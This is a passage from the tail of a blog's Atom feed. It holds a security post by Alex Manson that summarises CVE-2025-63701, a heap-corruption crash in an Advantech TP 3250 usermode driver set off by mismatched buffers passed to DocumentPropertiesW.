</ul>]]></content><author><name>Alex Manson</name></author><category term="Security" /><summary type="html"><![CDATA[CVE-2025-63701 - Mismatched input output buffers to DocumentPropertiesW trigger a bug in the Advantech TP 3250 usermode driver module, crashing with 0xc0000374 (heap corruption)]]></summary></entry></feed>